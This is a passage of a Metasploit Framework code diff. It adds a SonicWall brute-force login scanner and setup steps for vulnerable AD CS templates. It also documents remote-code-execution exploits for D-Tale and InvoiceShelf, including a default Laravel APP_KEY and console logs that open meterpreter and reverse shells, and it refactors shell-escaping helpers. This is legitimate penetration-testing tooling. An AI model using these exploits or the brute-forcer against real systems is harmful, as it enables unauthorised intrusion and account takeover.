`New` followed by `Certificate Template to Issue`. +1. Scroll down and select the `ESC13-Template` certificate, and select `OK`. +1. The certificate should now be available to be issued by the CA server. + +### Setting up a ESC15 Vulnerable Certificate Template +1. ESC15 depends on the schema version of the template being version 1 - which can no longer be created so we will edit an existing template that is schema version 1. +1. Right click the `WebServer` template, select properties. +1. Go to the Security Tab. +1. Under `Groups or usernames` select `Authenticated Users`. +1. Under `Permissions for Authenticated Users` select `Enroll` -> `Allow`. +1. Click Apply. +1. Go back to the `certsrv` screen and right click on the `Certificate Templates` folder and ensure `WebServer` is listed, if it's not, add it. +1. The certificate should now be available to be issued by the CA server. + ## Module usage 1. Do: Start msfconsole diff --git a/documentation/modules/auxiliary/scanner/sonicwall/login_scanner.md b/documentation/modules/auxiliary/scanner/sonicwall/login_scanner.md new file mode 100644 index 0000000000000..6ec0b492d1a39 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/sonicwall/login_scanner.md @@ -0,0 +1,19 @@ +## Description + +The module performs bruteforce attack against SonicWall NSv (Network Security Virtual). +It allows to attack both regular SSLVPN user and admin as well. The module will automatically perform attack against SSLVPN user if `DOMAIN` parameter is not empty. + +## Vulnerable Application + +- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial) + +## Verification Steps + +1. `use auxiliary/scanner/sonicwall/login_scanner` +2. `set RHOSTS [IP]` +3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]` +4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]` +5. `set DOMAIN [domain to attack/empty string to attack admin account]` +6. `run` + + diff --git a/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md b/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md new file mode 100644 index 0000000000000..86167dc3133ac --- /dev/null +++ b/documentation/modules/exploit/linux/http/dtale_rce_cve_2025_0655.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +This exploit effectively serves as a bypass for CVE-2024-3408. +An attacker can override global state to enable custom filters, which then facilitates remote code execution. +Specifically, this vulnerability leverages the ability to manipulate global application settings +to activate the enable_custom_filters feature, typically restricted to trusted environments. +Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands. + +The vulnerability affects: + + * D-Tale <= 3.15.1 + +This module was successfully tested on: + + * D-Tale 3.15.1 installed on Ubuntu 24.04 + * D-Tale 3.12.0 installed on Ubuntu 22.04 + * D-Tale 3.10.0 installed on Ubuntu 22.04 + * D-Tale 3.0.0 installed on Ubuntu 22.04 + * D-Tale 2.5.1 installed on Ubuntu 22.04 + * D-Tale 2.4.0 installed on Ubuntu 22.04 + + +### Installation + +1. `pip install 'dtale==3.15.1'` + +2. `dtale --host 0.0.0.0` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options + +Module options (exploit/linux/http/dtale_rce_cve_2025_0655): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 40000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_FILELESS is false: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 3.15.1 detected. +[*] Use data_id: 1 +[*] Updated the enable_custom_filters to true. +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900 +[*] Successfully executed the payload. +[*] Successfully cleaned up data_id: 1 + +meterpreter > getuid +Server username: ubu +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : Ubuntu 22.04 (Linux 6.8.0-52-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md b/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md new file mode 100644 index 0000000000000..8e3c5734e078f --- /dev/null +++ b/documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md @@ -0,0 +1,186 @@ +## Vulnerable Application +InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional +invoices & estimates and is based on the PHP framework Laravel. +InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct +PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default +InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie. +These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using +Laravel's encrypt() function. +An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify +the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve +remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable. +As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, +potentially resulting in complete system compromise, data exfiltration, or unauthorized access +to sensitive information. + +The following release was tested. +* InvoiceShelf `1.3.0` on Docker + +## Installation steps to install InvoiceShelf on Docker +* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install. +* Please ensure that `SESSION_DRIVER=cookie` is set to cookie. +* cp `.env.example` to `.env` and note down the `APP_KEY` setting. +* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker. +``` + #------------------------------------------- + # InvoiceShelf MySQL docker-compose variant + # Repo : https://github.com/InvoiceShelf/docker + #------------------------------------------- + +services: + invoiceshelf_db: + container_name: invoiceshelf_db + image: mariadb:10 + environment: + - MYSQL_DATABASE=invoiceshelf + - MYSQL_USER=invoiceshelf + - MYSQL_PASSWORD=Passw0rd + - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true + expose: + - 3306 + volumes: + - mysql:/var/lib/mysql + networks: + - invoiceshelf + restart: unless-stopped + healthcheck: + test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"] + timeout: 20s + retries: 10 + + invoiceshelf: + image: invoiceshelf/invoiceshelf:1.3.0 + container_name: invoiceshelf + ports: + - 90:80 + volumes: + - ./invoiceshelf_mysql/data:/data + - ./invoiceshelf_mysql/conf:/conf + networks: + - invoiceshelf + environment: + # PHP timezone e.g. PHP_TZ=America/New_York + - PHP_TZ=UTC + - TIMEZONE=UTC + - APP_NAME=Laravel + - APP_ENV=local + - APP_DEBUG=true + - APP_URL=http://localhost:90 + - DB_CONNECTION=mysql + - DB_HOST=invoiceshelf_db + - DB_PORT=3306 + - DB_DATABASE=invoiceshelf + - DB_USERNAME=invoiceshelf + - DB_PASSWORD=Passw0rd + - DB_PASSWORD_FILE= + - CACHE_STORE=file + - SESSION_DRIVER=cookie + - SESSION_LIFETIME=1440 + - SESSION_ENCRYPT=false + - SESSION_PATH=/ + - SESSION_DOMAIN=localhost + - SANCTUM_STATEFUL_DOMAINS=localhost:90 + - STARTUP_DELAY= + #- MAIL_DRIVER=smtp + #- MAIL_HOST=smtp.mailtrap.io + #- MAIL_PORT=2525 + #- MAIL_USERNAME=null + #- MAIL_PASSWORD=null + #- MAIL_PASSWORD_FILE= + #- MAIL_ENCRYPTION=null + restart: unless-stopped + depends_on: + - invoiceshelf_db + +networks: + invoiceshelf: + +volumes: + mysql: +``` +* Execute `docker-compose up -d` +* You can access the InvoiceShelf application at http://localhost:90 + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options +### APP_KEY +This option is required if the BRUTE_FORCE option is not used. +It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`. + +### BRUTEFORCE +This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack. + +## Scenarios +### InvoiceShelf 1.3.0 on Docker - PHP Command target +Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY. +```msf +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21 +rhosts => 192.168.201.21 +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.21:90 can be exploited. +[+] The target appears to be vulnerable. InvoiceShelf 1.3.0 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie. +[*] Grabbing the cookies. +[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0= +[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360} +[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY. +[*] Executing PHP for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.21 +[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000 + +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www/html/InvoiceShelf/public +meterpreter > sysinfo +Computer : 72fe563832ca +OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 +Meterpreter : php/linux +meterpreter > +``` +### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target +Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file. +```msf +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1 +target => 1 +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt +BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt +msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.201.21:90 can be exploited. +[+] The target appears to be vulnerable. InvoiceShelf 1.3.0 +[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie. +[*] Grabbing the cookies. +[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt. +[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0= +[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687} +[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY. +[*] Executing Unix/Linux Command for cmd/unix/reverse_bash +[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000 + +id +uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf) +uname -a +Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux +pwd +/var/www/html/InvoiceShelf/public +``` + +## Limitations +No limitations. diff --git a/lib/metasploit/framework/login_scanner/sonicwall.rb b/lib/metasploit/framework/login_scanner/sonicwall.rb new file mode 100644 index 0000000000000..6da5e5fd0b573 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/sonicwall.rb @@ -0,0 +1,153 @@ +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + # SonicWall Login Scanner supporting + # - User Login + # - Admin Login + class SonicWall < HTTP + + DEFAULT_SSL_PORT = [443, 4433] + LIKELY_PORTS = [443, 4433] + LIKELY_SERVICE_NAMES = [ + 'SonicWall Network Security' + ] + PRIVATE_TYPES = [:password] + REALM_KEY = nil + + def initialize(scanner_config, domain) + @domain = domain + super(scanner_config) + end + + def req_params_base + { + 'method' => 'POST', + 'uri' => normalize_uri('/api/sonicos/auth'), + 'ctype' => 'application/json', + # Force SSL as the application uses non-standard TCP port for HTTPS - 4433 + 'ssl' => true + } + end + + def auth_details_req + params = req_params_base + + # + # Admin and SSLVPN user login procedure differs only in usage of domain field in JSON data + # + params.merge!({ + 'data' => JSON.pretty_generate(@domain.empty? ? { + 'override' => false, + 'snwl' => true + } : { 'domain' => @domain, 'override' => false, 'snwl' => true }) + }) + return params + end + + def auth_req(header) + params = req_params_base + + params.merge!({ + 'headers' => + { + 'Authorization' => header.join(', ') + } + }) + + params.merge!({ + 'data' => JSON.pretty_generate(@domain.empty? ? { + 'override' => false, + 'snwl' => true + } : { 'domain' => @domain, 'override' => false, 'snwl' => true }) + }) + + return params + end + + def get_auth_details(username, password) + send_request(auth_details_req) + end + + def try_login(header) + send_request(auth_req(header)) + end + + def get_resp_msg(msg) + msg.dig('status', 'info', 0, 'message') + end + + def check_setup + request_params = { + 'method' => 'GET', + 'uri' => normalize_uri('/sonicui/7/login/') + } + res = send_request(request_params) + if res&.code == 200 && res.body&.include?('SonicWall') + return false + end + + 'Unable to locate "SonicWall" in body. (Is this really SonicWall?)' + end + + # + # The login procedure is two-step procedure for SonicWall due to HTTP Digest Authentication. In the first request, client receives data,cryptographic hashes and algorithm selection from server. It should calculate final response hash from username, password and additional data received from server. The second request contains all this information. + # + def do_login(username, password, depth) + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Waiting too long in lockout' } if depth >= 2 + + #-- get authentication details from first request + res = get_auth_details(username, password) + + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Invalid response' } unless res + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Failed to receive a authentication details' } unless res&.headers && res.headers.key?('X-SNWL-Authenticate') + + res.headers['X-SNWL-Authenticate'] =~ /Digest (.*)/ + + parameters = {} + ::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p| + k, v = p.split('=', 2) + parameters[k] = v.gsub('"', '') + end + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Incorrect authentication header' } if parameters.empty? + + digest_auth = Rex::Proto::Http::AuthDigest.new + auth_header = digest_auth.digest(username, password, 'POST', '/api/sonicos/auth', parameters) + return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Could not calculate hash' } unless auth_header + + #-- send the actual request with all hashes and information + + res = try_login(auth_header) + + return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res&.code == 200 + + + msg_json = res.get_json_document + + return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } unless msg_json + msg = get_resp_msg(msg_json) + + if msg == 'User is locked out' + sleep(5 * 60) + return do_login(username, password, depth + 1) + end + + return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: msg } + end + + def attempt_login(credential) + result_options = { + credential: credential, + host: @host, + port: @port, + protocol: 'tcp', + service_name: 'sonicwall' + } + result_options.merge!(do_login(credential.public, credential.private, 1)) + Result.new(result_options) + end + end + end + end +end diff --git a/lib/metasploit/framework/ssh/platform.rb b/lib/metasploit/framework/ssh/platform.rb index 8d541ef7b8f6b..953974caa92a6 100644 --- a/lib/metasploit/framework/ssh/platform.rb +++ b/lib/metasploit/framework/ssh/platform.rb @@ -94,6 +94,10 @@ def self.get_platform_info(ssh_socket, timeout: 10) info end + def self.is_posix(platform) + return ['unifi','linux','osx','solaris','bsd','hpux','aix'].include?(platform) + end + def self.get_platform_from_info(info) case info when /unifi\.version|UniFiSecurityGateway/i # Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index e4a1ecb749e25..75822f7fdaae7 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.4.52" + VERSION = "6.4.54" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index b6fa9556ed1e1..84a70447c97b7 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -215,6 +215,11 @@ def cmd_background_help print_line end + def escape_arg(arg) + # By default we don't know what the escaping is. It's not ideal, but subclasses should do their own appropriate escaping + arg + end + def cmd_background(*args) if !args.empty? # We assume that background does not need arguments diff --git a/lib/msf/base/sessions/command_shell_unix.rb b/lib/msf/base/sessions/command_shell_unix.rb index 16a999357fbdc..fdf37130c58b1 100644 --- a/lib/msf/base/sessions/command_shell_unix.rb +++ b/lib/msf/base/sessions/command_shell_unix.rb @@ -6,43 +6,8 @@ def initialize(*args) super end - def shell_command_token(cmd,timeout = 10) - shell_command_token_unix(cmd,timeout) - end - - # Convert the executable and argument array to a command that can be run in this command shell - # @param cmd_and_args [Array] The process path and the arguments to the process - def to_cmd(cmd_and_args) - self.class.to_cmd(cmd_and_args) - end - - # Escape an individual argument per Unix shell rules - # @param arg [String] Shell argument - def escape_arg(arg) - self.class.escape_arg(arg) - end - - # Convert the executable and argument array to a command that can be run in this command shell - # @param cmd_and_args [Array] The process path and the arguments to the process - def self.to_cmd(cmd_and_args) - escaped = cmd_and_args.map do |arg| - escape_arg(arg) - end - - escaped.join(' ') - end - - # Escape an individual argument per Unix shell rules - # @param arg [String] Shell argument - def self.escape_arg(arg) - quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';'] - result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'") - if result == '' - result = "''" - end - - result - end + include Msf::Sessions::UnixEscaping + extend Msf::Sessions::UnixEscaping end end diff --git a/lib/msf/base/sessions/command_shell_windows.rb b/lib/msf/base/sessions/command_shell_windows.rb index a4397f96e4db7..ac95550a114bb 100644 --- a/lib/msf/base/sessions/command_shell_windows.rb +++ b/lib/msf/base/sessions/command_shell_windows.rb @@ -6,114 +6,7 @@ def initialize(*args) super end - def self.space_chars - [' ', '\t', '\v'] - end - - def shell_command_token(cmd,timeout = 10) - shell_command_token_win32(cmd,timeout) - end - - # Convert the executable and argument array to a command that can be run in this command shell - # @param cmd_and_args [Array] The process path and the arguments to the process - def to_cmd(cmd_and_args) - self.class.to_cmd(cmd_and_args) - end - - # Escape a process for the command line - # @param executable [String] The process to launch - def self.escape_cmd(executable) - needs_quoting = space_chars.any? do |char| - executable.include?(char) - end - - if needs_quoting - executable = "\"#{executable}\"" - end - - executable - end - - # Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW. - # @param args [Array] The arguments to the process - # @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed - # to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it - # will in turn be interpreted by CommandLineToArgvW. - def self.argv_to_commandline(args) - escaped_args = args.map do |arg| - escape_arg(arg) - end - - escaped_args.join(' ') - end - - # Escape an individual argument per Windows shell rules - # @param arg [String] Shell argument - def self.escape_arg(arg) - needs_quoting = space_chars.any? do |char| - arg.include?(char) - end - - # Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote - # We need to send double the number of backslashes to make it work as expected - # See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks - arg = arg.gsub(/(\\*)"/, '\\1\\1"') - - # Quotes need to be escaped - arg = arg.gsub('"', '\\"') - - if needs_quoting - # At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too - arg = arg.gsub(/(\\*)$/, '\\1\\1') - arg = "\"#{arg}\"" - end - - # Empty string needs to be coerced to have a value - arg = '""' if arg == '' - - arg - end - - # Convert the executable and argument array to a command that can be run in this command shell - # @param cmd_and_args [Array] The process path and the arguments to the process - def self.to_cmd(cmd_and_args) - # The space, caret and quote chars need to be inside double-quoted strings. - # The percent character needs to be escaped using a caret char, while being outside a double-quoted string. - # - # Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring - # characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case, - # the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not. - # For example: - # 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%' - # - # There is flexibility in how you might implement this, but I think this one looks the most "human" to me, - # which would make it less signaturable. - # - # To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes - # (if we've been inside them in the current "token"), and then start a new "token". - - quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|'] - - escaped_cmd_and_args = cmd_and_args.map do |arg| - # Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below) - arg = arg.gsub(/([^\\])"/, '\\1""') - arg = arg.gsub(/^"/, '""') - - result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"') - - # Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote - # We need to send double the number of backslashes to make it work as expected - # See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks - result.gsub!(/(\\*)"/, '\\1\\1"') - - # Empty string needs to be coerced to have a value - result = '""' if result == '' - - result - end - - escaped_cmd_and_args.join(' ') - end + include Msf::Sessions::WindowsEscaping + extend Msf::Sessions::WindowsEscaping end - end diff --git a/lib/msf/base/sessions/ssh_command_shell_bind.rb b/lib/msf/base/sessions/ssh_command_shell_bind.rb index e645c47da9935..1f4d8f946e0c2 100644 --- a/lib/msf/base/sessions/ssh_command_shell_bind.rb +++ b/lib/msf/base/sessions/ssh_command_shell_bind.rb @@ -238,6 +238,13 @@ def initialize(ssh_connection, opts = {}) def bootstrap(datastore = {}, handler = nil) # this won't work after the rstream is initialized, so do it first @platform = Metasploit::Framework::Ssh::Platform.get_platform(ssh_connection) + if @platform == 'windows' + extend(Msf::Sessions::WindowsEscaping) + elsif Metasploit::Framework::Ssh::Platform.is_posix(@platform) + extend(Msf::Sessions::UnixEscaping) + else + raise ::Net::SSH::Exception.new("Unknown platform: #{platform}") + end # if the platform is known, it was recovered by communicating with the device, so skip verification, also not all # shells accessed through SSH may respond to the echo command issued for verification as expected diff --git a/lib/msf/base/sessions/unix_escaping.rb b/lib/msf/base/sessions/unix_escaping.rb new file mode 100755 index 0000000000000..716fab2bfb612 --- /dev/null +++ b/lib/msf/base/sessions/unix_escaping.rb @@ -0,0 +1,27 @@ +module Msf::Sessions + module UnixEscaping + def shell_command_token(cmd,timeout = 10) + shell_command_token_unix(cmd,timeout) + end + + # Convert the executable and argument array to a command that can be run in this command shell + # @param cmd_and_args [Array] The process path and the arguments to the process + def to_cmd(cmd_and_args) + escaped = cmd_and_args.map { |arg| escape_arg(arg) } + + escaped.join(' ') + end + + # Escape an individual argument per Unix shell rules + # @param arg [String] Shell argument + def escape_arg(arg) + quote_requiring = ['\\', '`', '(', ')', '<', '>', '&', '|', ' ', '@', '"', '$', ';'] + result = CommandShell._glue_cmdline_escape(arg, quote_requiring, "'", "\\'", "'") + if result == '' + result = "''" + end + + result + end + end +end \ No newline at end of file diff --git a/lib/msf/base/sessions/windows_escaping.rb b/lib/msf/base/sessions/windows_escaping.rb new file mode 100755 index 0000000000000..6ae2811f9f251 --- /dev/null +++ b/lib/msf/base/sessions/windows_escaping.rb @@ -0,0 +1,102 @@ +module Msf::Sessions + module WindowsEscaping + def space_chars + [' ', '\t', '\v'] + end + + def shell_command_token(cmd,timeout = 10) + shell_command_token_win32(cmd,timeout) + end + + # Escape a process for the command line + # @param executable [String] The process to launch + def escape_cmd(executable) + needs_quoting = space_chars.any? do |char| + executable.include?(char) + end + + if needs_quoting + executable = "\"#{executable}\"" + end + + executable + end + + # Convert the executable and argument array to a commandline that can be passed to CreateProcessAsUserW. + # @param args [Array] The arguments to the process + # @remark The difference between this and `to_cmd` is that the output of `to_cmd` is expected to be passed + # to cmd.exe, whereas this is expected to be passed directly to the Win32 API, anticipating that it + # will in turn be interpreted by CommandLineToArgvW. + def argv_to_commandline(args) + escaped_args = args.map { |arg| escape_arg(arg) } + + escaped_args.join(' ') + end + + # Escape an individual argument per Windows shell rules + # @param arg [String] Shell argument + def escape_arg(arg) + needs_quoting = space_chars.any? { |char| arg.include?(char) } + + # Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote + # We need to send double the number of backslashes to make it work as expected + # See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks + arg = arg.gsub(/(\\*)"/, '\\1\\1"') + + # Quotes need to be escaped + arg = arg.gsub('"', '\\"') + + if needs_quoting + # At the end of the argument, we're about to add another quote - so any backslashes need to be doubled here too + arg = arg.gsub(/(\\*)$/, '\\1\\1') + arg = "\"#{arg}\"" + end + + # Empty string needs to be coerced to have a value + arg = '""' if arg == '' + + arg + end + + # Convert the executable and argument array to a command that can be run in this command shell + # @param cmd_and_args [Array] The process path and the arguments to the process + def to_cmd(cmd_and_args) + # The space, caret and quote chars need to be inside double-quoted strings. + # The percent character needs to be escaped using a caret char, while being outside a double-quoted string. + # + # Situations where these two situations combine are going to be the trickiest cases: something that has quote-requiring + # characters (e.g. spaces), but which also needs to avoid expanding an environment variable. In this case, + # the string needs to end up being partially quoted; with parts of the string in quotes, but others (i.e. bits with percents) not. + # For example: + # 'env var is %temp%, yes, %TEMP%' needs to end up as '"env var is "^%temp^%", yes, "^%TEMP^%' + # + # There is flexibility in how you might implement this, but I think this one looks the most "human" to me, + # which would make it less signaturable. + # + # To do this, we'll consider each argument character-by-character. Each time we encounter a percent sign, we break out of any quotes + # (if we've been inside them in the current "token"), and then start a new "token". + + quote_requiring = ['"', '^', ' ', "\t", "\v", '&', '<', '>', '|'] + + escaped_cmd_and_args = cmd_and_args.map do |arg| + # Escape quote chars by doubling them up, except those preceeded by a backslash (which are already effectively escaped, and handled below) + arg = arg.gsub(/([^\\])"/, '\\1""') + arg = arg.gsub(/^"/, '""') + + result = CommandShell._glue_cmdline_escape(arg, quote_requiring, '%', '^%', '"') + + # Fix the weird behaviour when backslashes are treated differently when immediately prior to a double-quote + # We need to send double the number of backslashes to make it work as expected + # See: https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw#remarks + result.gsub!(/(\\*)"/, '\\1\\1"') + + # Empty string needs to be coerced to have a value + result = '""' if result == '' + + result + end + + escaped_cmd_and_args.join(' ') + end + end +end \ No newline at end of file diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb index 90cf632272d32..af99f76ad6313 100644 --- a/lib/msf/base/simple/auxiliary.rb +++ b/lib/msf/base/simple/auxiliary.rb @@ -58,8 +58,9 @@ def self.run_simple(omod, opts = {}, job_listener: Msf::Simple::NoopJobListener. raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}" end - # Verify the options - mod.options.validate(mod.datastore) + # Validate the option container state so that options will + # be normalized + mod.validate # Initialize user interaction if ! opts['Quiet'] diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 4a08268d90050..9b02d6ff52d07 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -79,7 +79,7 @@ def 